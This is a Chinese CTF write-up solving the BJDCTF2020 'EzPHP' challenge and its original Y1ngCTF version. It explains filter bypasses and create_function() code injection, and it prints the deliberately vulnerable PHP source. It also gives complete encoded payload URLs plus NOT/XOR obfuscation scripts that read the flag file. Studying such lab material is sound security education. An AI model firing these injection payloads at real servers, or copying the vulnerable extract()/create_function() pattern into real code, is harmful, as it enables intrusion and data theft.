打开题目,看到的是这样一个界面:

1

查看源代码看到提示 : GFXEIM3YFZYGQ4A=

3

经过base64解码,发现不是,尝试base32解码,得到结果1nD3x.php

访问1nD3x.php得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
Aqua is the cutest five-year-old child in the world! Isn't it ?

因为源码很长,每一个if语句都对应着不同的考点,所以其实我们可以分成多个部分来解决。

1. 绕过$_SERVER[‘QUERY_STRING’]

要绕过$_SERVER['QUERY_STRING'],我们要先了解什么是$_SERVER['QUERY_STRING'],关于$_SERVER['QUERY_STRING']可以参考这篇博文:http://blog.sina.com.cn/s/blog_686999de0100jgda.html

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);

echo "\$_SERVER['QUERY_STRING'] = \"". $_SERVER['QUERY_STRING']. "\"<br>";
echo "\$_SERVER['REQUEST_URI'] = \"". $_SERVER['REQUEST_URI']. "\"<br>";
echo "\$_SERVER['SCRIPT_NAME'] = \"". $_SERVER['SCRIPT_NAME']. "\"<br>";
echo "\$_SERVER['PHP_SELF'] = \"". $_SERVER['PHP_SELF']. "\"<br>";
?>

测试结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// http://localhost/test/
$_SERVER['QUERY_STRING'] = ""
$_SERVER['REQUEST_URI'] = "/test/"
$_SERVER['SCRIPT_NAME'] = "/test/index.php"
$_SERVER['PHP_SELF'] = "/test/index.php"

// http://localhost/test/?aaa=111
$_SERVER['QUERY_STRING'] = "aaa=111"
$_SERVER['REQUEST_URI'] = "/test/?aaa=111"
$_SERVER['SCRIPT_NAME'] = "/test/index.php"
$_SERVER['PHP_SELF'] = "/test/index.php"

// http://localhost/test/?aaa=111&bbb=222
$_SERVER['QUERY_STRING'] = "aaa=111&bbb=222"
$_SERVER['REQUEST_URI'] = "/test/?aaa=111&bbb=222"
$_SERVER['SCRIPT_NAME'] = "/test/index.php"
$_SERVER['PHP_SELF'] = "/test/index.php"

由实例可知:
$_SERVER["QUERY_STRING"] 获取查询语句,实例中可知,获取的是?后面的值
$_SERVER["REQUEST_URI"] 获取 http://localhost 后面的值,包括/
$_SERVER["SCRIPT_NAME"] 获取当前脚本的路径,如:index.php
$_SERVER["PHP_SELF"] 当前正在执行脚本的文件名

我们先将第一个if语句提取出来:

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);

$a = $_GET['a'];
if ($_SERVER) {
if (preg_match('/bantian|passwd|code|cute|aqua/i', $_SERVER['QUERY_STRING']))
die('You seem to want to do something bad?');
else
echo "\$a = ". $a. "<br><br>";
}
?>

这里的考点是$_SERVER['QUERY_STRING']不会对参数进行URLDecode操作,但是$_GET请求会,所以对参数a进行url编码就可以绕过第一个if检查。

payload:

1
?a=%62%61%6e%74%69%61%6e

2

2. 绕过if($_REQUEST)

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);

if ($_REQUEST) {
foreach ($_REQUEST as $value) {
if (preg_match('/[a-zA-Z]/i', $value))
die ('fxck you! I hate English!');
else
echo "Yeah, You know what I mean!";
}
}
?>

上面这段代码会遍历_REQUEST数据,将参数具体的值(而不是参数名称)赋给$value,检测参数值中是否包含字符,如果包含,则退出,而题目本来就要求我们传入一些参数。

4

这里可以用_REQUEST的特性来绕过,_REQUEST可以同时接收GET和POST请求的数据,但是POST参数具有更高的优先级,而该代码并不会对相同参数名的(而获取方式不同)的数据进行重复检测,所以我们可以通过传送相同名称的POST数据来绕过,这其实是在php.ini文件中定义的。这里我们将一些参数值设置为数字就可以绕过。

5

这里需要指出的是当我们传入的GET请求参数是数组时,也是可以绕过这个检测的,原因preg_match()函数无法检测数组。

3. 绕过/^aqua_is_cute$/的正则匹配

下面这段代码要求$_GET['debu']即能匹配正则表达式/^aqua_is_cute$/但是同时又不能等于aqua_is_cute

1
2
3
4
5
6
<?php
highlight_file(__FILE__);

if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
echo "Neeeeee! Good Job!<br>";
}

在正则表达式中,$可以匹配行尾或者一个换行符,所以在aqua_is_cute的后面加一个换行符%0a就可以绕过正则/^aqua_is_cute$/

payload :

1
?debu=aqua_is_cute%0a

6

4. 绕过文件读取比较

提取出核心的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);

$file = "1nD3x.php";

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
}
else
die('fxck you! What do you want to do ?!');

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
else
echo "Yeeeeaaaahhhh! You Got it!!!!";

通过_GET获取参数file的值,然后通过file_get_contents()函数将其读取出来,并且要求读取的结果为debu_debu_aqua,一般有两种方法绕过file_get_contents()

法一:data:// + php://filter

payload :

1
?debu=aqua_is_cute%0a&file=data://text/plain,debu_debu_aqua

7

法二:php://input + php://filter

php://input可以访问请求的原始数据的只读流,可以接收post请求,将请求作为PHP代码的输入变量传递给目标变量。

8

5. 绕过sha1()比较

sha1()其实和md5()函数一样,只能接受string类型的数据作为参数,传入数组类型的元素则会报错并返回False

10

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
error_reporting(0);

$shana = $_GET['shana'];
$passwd = $_GET['passwd'];

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

所以这里可以将$shana$passwd当作数组元素传入,这样sha1($shana)sha1($passwd)返回的值都是false,那么就可以绕过if ( sha1($shana) === sha1($passwd) && $shana != $passwd )

payload:

1
?shana[]=11&passwd[]=22

9

6. 读取flag文件 —— create_function()代码注入

结合上面所有的知识点就可以绕过前面的所有障碍:

1
2
3
4
5
6
7
8
// 编码前
?shana[]=1&passwd[]=2&debu=aqua_is_cute%0A&file=data://text/plain,debu_debu_aqua

// 编码后
?%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61

// POST:
debu=1&file=1

这里的POST参数仅仅设置debu=1&file=1的原因前面已经解释过了,preg_match()函数无法对数组进行匹配,所以shana[]passwd[]都不需要对其进行额外的POST请求。

11

现在我们只要绕过最后的if(preg_match())语句就能够读取到flag,但是这里会对arg进行正则匹配,并且执行$code参数命令。而$arg$code参数的值一开始都是''。但是我们可以通过extract($_GET["flag"]);来获取对这两个参数赋值。

31

简单来说,extract()函数就是 用数组键名作为变量名,使用数组键值作为变量值

29

这里出题人过滤掉了catreadsource等命令,所以不能通过无参数RCE来读取flag,到这里就要引出这道题的考点了——create_function()代码注入。

30

简单来说,create_function()函数能根据传递地参数创建一个lambda样式的匿名函数,并为其返回唯一名称。create_function()函数会在内部执行eval()

下面就是一个简单的例子:

1
2
3
4
<?php

$FNAME = create_function('$fname', 'echo $fname." LXX";');
print_r($FNAME('bantian'));

32

create_function()函数在代码审计中,主要用来查找代码注入回调后门的情况,这是因为$code参数可以由用户来控制,所以这个函数十分的危险。

下面的例子中,就是手工闭合了}符号,create_function()函数在创建匿名函数时,到}就匹配结束,所以就造成了代码注入,phpinfo();//就是我们注入地代码,最后加上//是为了保证整个语法正确。

1
2
3
4
<?php

$plus = create_function('$a, $b', 'echo $a+$b;}phpinfo();//');
print_r($plus(1,2));

测试结果:

33

所以对于这道题,我们就要令flag[code]=create_function,而flag[arg]就是我们需要注入的代码。但是我们无法用system+cat的方式读取源码,也不能用无参数RCE,但是在$code('', $arg);的前面已经include了flag.php文件,所以这里可以用get_defined_vars()函数来获取所有的变量值。

get_defined_vars()这个函数可以输出所有变量的值。

20

1
2
3
4
5
6
7
8
// 编码前
?shana[]=1&passwd[]=2&debu=aqua_is_cute%0A&file=data://text/plain,debu_debu_aqua&flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function

// 编码后
?%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%66%6c%61%67%5b%61%72%67%5d=}%76%61%72%5f%64%75%6d%70(%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73());//&%66%6c%61%67[%63%6f%64%65]=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e

// POST :
debu=1&file=1

最后得到的flag竟然是假的,真的flag藏在rea1fl4g.php中,套路不少啊…

12

7. 读取真正的flag

7.1 require() + 取反绕过 + php://filter

BJDCTF过滤掉了|&^操作,但是保留了~,所以我们可以用取反操作对文件名进行一个处理。

payload 生成脚本(php):

1
2
3
4
5
6
7
8
9
10
11
12
13
<?
$a = "php://filter/read=convert.base64-encode/resource=rea1fl4g.php";
$arr = array();
for ($i=0; $i<strlen($a);$i++) {
$arr[] = $a[$i];
}

echo "<br>~(";
foreach ($arr as $key => $value) {
echo "%".bin2hex(~$value);
}
echo ")<br>";
?>

得到payload:

1
~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f)

~()中的部分就是php://filter/read=convert.base64-encode/resource=rea1fl4g.php取反之后的结果。

1
2
3
4
5
// 编码后
?%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%66%6c%61%67[%61%72%67]=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//&%66%6c%61%67[%63%6f%64%65]=create_function

// POST:
debu=1&file=1

13

得到一串base64加密的字符串,base64解密后得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
<title>Real_Flag In Here!!!</title>
</head>
</html>
<?php
echo "咦,你居然找到我了?!不过看到这句话也不代表你就能拿到flag哦!";
$f4ke_flag = "BJD{1am_a_fake_f41111g23333}";
$rea1_f1114g = "flag{f0d65c61-75da-4320-8cc3-4d8efc7ed95d}";
unset($rea1_f1114g);

成功获取flag:flag{f0d65c61-75da-4320-8cc3-4d8efc7ed95d}

7.2 define+fopen()+fget()绕过

在BJDCTF2020中没有过滤掉文件读写操作相关的函数,也就是说fopen()fgets()fclose()feof()等函数都是可以利用的。

payload:

1
2
3
4
?%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%66%6c%61%67[%61%72%67]=}define(aaa,fopen(~(%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f),r));while(!feof(aaa))var_dump(fgets(aaa));fclose(aaa);//&%66%6c%61%67[%63%6f%64%65]=create_function

// POST:
debu=1&file=1

fopen()会返回一个文件指针资源,将其赋给aaa,然后利用fgets()来读取文件源码。其中%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8frea1fl4g.php取反后的结果。

27

没看到flag,view page source即可获得flag:

28

7.3 rdd法绕过

payload:

1
2
3
4
5
6
7
8
9
// 编码前
?shana[]=1&passwd[]=2&debu=aqua_is_cute
&file=data://text/plain,debu_debu_aqua&flag[arg]=}var_dump(require(end(pos(get_defined_vars()))));//&flag[code]=create_function&rdd=php://filter/read=convert.base64-encode/resource=rea1fl4g.php

// 编码后
?%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%66%6c%61%67[%61%72%67]=}var_dump(require(end(pos(get_defined_vars()))));//&%66%6c%61%67[%63%6f%64%65]=create_function&rdd=php://filter/%72%65%61%64=convert%2ebase64-%65%6e%63%6f%64%65/re%73%6f%75%72%63%65=rea1fl4g%2ephp

// POST:
debu=1&file=1&rdd=1

pos()函数返回数组中的当前元素的值,该函数是current()函数的别名,每个数组中都有一个内部的指针指向它的”当前”元素,初始指向插入到数组中的第一个元素,在此题中就是_GET变量数组。

23

再用end()函数就可以读取到rdd变量。

24

所以require(end(pos(get_defined_vars())));//就可以读取真正flag文件base64加密后的源码。

7.4

payload:

1
2
3
4
5
6
7
8
9
// 编码前
?shana[]=1&passwd[]=2&debu=aqua_is_cute
&file=data://text/plain,debu_debu_aqua&flag[arg]=}require(get_defined_vars()[_GET][rdd]);//&flag[code]=create_function&rdd=php://filter/read=convert.base64-encode/resource=rea1fl4g.php

// 编码后
?%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%66%6c%61%67[%61%72%67]=}require(get_defined_vars()[_GET][rdd]);//&%66%6c%61%67[%63%6f%64%65]=create_function&rdd=php://filter/%72%65%61%64=convert%2ebase64-%65%6e%63%6f%64%65/re%73%6f%75%72%63%65=rea1fl4g%2ephp

// POST:
debu=1&file=1&rdd=1

这个方法其实和上面的属于同一种,不过就是获取参数rdd时利用get_defined_vars()[_GET][rce]来获取php://filter

25

同样,然后我们只用require就可以读取源码。

8. 原题

这道题的原题来自 https://github.com/y1nglamore/Y1ngCTF/ ,Y1ng师傅的原创题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
highlight_file(__FILE__);

error_reporting(0);
$file = "1nD3x.php";
$y1ng = $_GET['y1ng'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<font color=red><B>Notice1: If you get my flag, you will get a gif!</B><br></font>";
echo "<font color=red><B>Notice2: Dangerous functions, such as shell_exec() system() and so on, are disabled in php.ini. Chopper&AntSword are also useless!</B><br></font>";
echo "<font color=red><B>Notice3: flag is Y1ng{xxxxxxxx}!</B><br></font>";
echo "<font color=red><B>Notice4: there isn't a var named \$flag or \$f14g in flag.php, name of flag's var is difficult to guess!</B><br><br></font>";

if($_SERVER) {
if (
preg_match('/y1ng|zuishuai|flag|YuZhou|Wudi|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('fxck your key words!');
}
if (!preg_match('/http/i', $_GET['file'])) {
if (preg_match('/^y1ngzuishuai$/', $_GET['zuishuai']) && $_GET['zuishuai'] !== 'y1ngzuishuai') {
$file = $_GET["file"];
echo "Yes! You know that I zuishuai!<br>";
}
} else die('fxck you! no RFI!!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck your English letters');
}
}

if (file_get_contents($file) !== 'y1ng_YuZhou_Wudi_zuishuai')
die(' Am not I universe wudi zuishuai?<br>');


if ( sha1($y1ng) === sha1($passwd) && $y1ng != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die('fxck you! you dont know password! you dont know sha1! why you come here!');
}



if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $arg) ) {
die('fxck you! Read my Regular Express1on!');
} else {
include "flag.php";
$code('', $arg);
}
?>
8.1 require+base64_decode()+get_defined_vars()

对于这道题,可以用BJDCTF中并不适用的require()+base64_decode()+get_defined_vars()方法来解决。

1
2
3
4
5
6
7
8
// 编码前
http://127.0.0.1/babycode/1nD3x.php?y1ng[]=1&passwd[]=2&zuishuai=y1ngzuishuai%0A&file=data://text/plain,y1ng_YuZhou_Wudi_zuishuai&flag[arg]=}require(base64_decode(MWZsYWcucGhw));var_dump(get_defined_vars());//&flag[code]=create_function

// 编码后
http://127.0.0.1/babycode/1nD3x.php?%79%31%6e%67[]=1&%70%61%73%73%77%64[]=2&%7a%75%69%73%68%75%61%69=%79%31%6e%67%7a%75%69%73%68%75%61%69%0A&file=data://text/plain,%79%31%6e%67%5f%59%75%5a%68%6f%75%5f%57%75%64%69%5f%7a%75%69%73%68%75%61%69&%66%6c%61%67[arg]=}require(base64_decode(MWZsYWcucGhw));var_dump(get_defined_vars());//&%66%6c%61%67[code]=create_function

// POST
zuishuai=1&file=1

14

查看源码,看到了真正的flag

16

当然如果我们用burpsuite抓包来看的话就清楚多了

15

但是这种解法不适用于BJDCTF2020 EzPHP,原因是它们的flag.php文件不同。

Ying’s 原题:

17

BJDCTF2020 EzPHP:

18

可以看到BJDCTF中用unset()函数。

19

当我们调用require()函数去包含这个rea1fl4g.php文件,$rea1_f1114g变量就被unset()函数销毁了再用get_defined_vars()去读取一个已经被销毁的变量,当然什么也读不到。

我们把这部分代码抽取出来验证一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
error_reporting(0);

$arg = '';
$code = '';
extract($_GET["flag"]);

var_dump($_GET["flag"]);

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
}

rea1fl4g.php中使用unset():

1
2
3
4
5
<?php
echo "咦,你居然找到我了?!不过看到这句话也不代表你就能拿到flag哦!";
$realflag = "flag{real!!!!!}";
unset($realflag);
?>

21

rea1fl4g.php中不使用unset():

1
2
3
4
5
<?php
echo "咦,你居然找到我了?!不过看到这句话也不代表你就能拿到flag哦!";
$realflag = "flag{real!!!!!}";
// unset($realflag);
?>

22

成功读取了真正的flag。BJDCTF2020的真正flag文件中用了unset()函数,而我们的get_defined_vars()操作在require()函数之后,在require了这个文件之后,就会调用unset()释放掉这个变量,导致了我们无法成功读取真正的flag值,这也就是为什么require()+base64_decode()+var_dump(get_defined_vars())不适合BJDCTF中EzPHP的原因。

8.2 异或绕过

异或操作就像是不进位的加法,相同为0,不同为1。对一个字符串进行两次异或操作就可以获得原字符串。

1
2
3
4
5
6
7
0 1 0 1
1 1 1 1
----------
1 0 1 0
1 1 1 1
----------
0 1 0 1

这个解法就和前面提到的require()+取反绕过一样,只不过是将文件名改成了异或操作获取。

php脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?
$a = "1flag.php";
$arr = array();
for ($i=0; $i<strlen($a);$i++) {
$arr[] = $a[$i];
}

foreach ($arr as $key => $value)
echo "%". dechex(ord($value)^0xff);
echo "^";
foreach ($arr as $key => $value)
echo "%ff"
?>

python脚本:

1
2
3
4
5
6
7
8
9
10
str = '1flag.php'
res = ''
for ch in str:
hex_ch = hex(ord(ch)^0xff)
res += hex_ch.replace("0x", '%')
res += "^"
for ch in str:
res += '%ff'

print(res)

ps: 在php和python中都用ord()函数来返回对应字符的ascii

payload:

1
2
3
4
5
6
7
8
// 对1flag.php文件进行异或编码
1flag.php : %ce%99%93%9e%98%d1%8f%97%8f^%ff%ff%ff%ff%ff%ff%ff%ff%ff

// 编码后
?%79%31%6e%67[]=1&%70%61%73%73%77%64[]=2&%7a%75%69%73%68%75%61%69=%79%31%6e%67%7a%75%69%73%68%75%61%69%0A&file=data://text/plain,%79%31%6e%67%5f%59%75%5a%68%6f%75%5f%57%75%64%69%5f%7a%75%69%73%68%75%61%69&%66%6c%61%67[arg]=}require(%ce%99%93%9e%98%d1%8f%97%8f^%ff%ff%ff%ff%ff%ff%ff%ff%ff);var_dump(get_defined_vars());//&%66%6c%61%67[code]=create_function

// POST:
zuishuai=1&file=1

26

但这个方法在BJDCTF2020 EzPHP中不适用,这是因为BJDCTF中过滤了|&以及^符号,仅剩下取反操作~可用。

9. 补充说明及总结

通过这道题还学到了关于正则表达式模式修正符的一些知识,模式修正符可以对整个正则表达式起到调优的作用,也可以说是对正则表达式功能的扩展。

这道题中的/^[a-z0-9]*$/isD 就用到了三种模式修正符。

1
2
3
i : 表达大小写不敏感,/abc/i可以匹配abc、Abc
s : 特殊字符圆点. 中包含换行符,默认的圆点. 是匹配换行符\n之外的任何单字符,加上s之后, .中包括换行符
D : 如果设定了此修正符,模式中的美元元字符仅匹配目标字符串的结尾。没有此选项时,如果最后一个字符是换行符的话,美元符号也会匹配此字符之前(但不会匹配任何其它换行符之前)。如果设定了 m 修正符则忽略此选项。Perl 中没有与其等价的修正符。

这道题前面的绕过都是一些基础知识点,最难的地方当然还是后面的真正flag读取部分,从Y1ng师傅的博客真的学到了很多。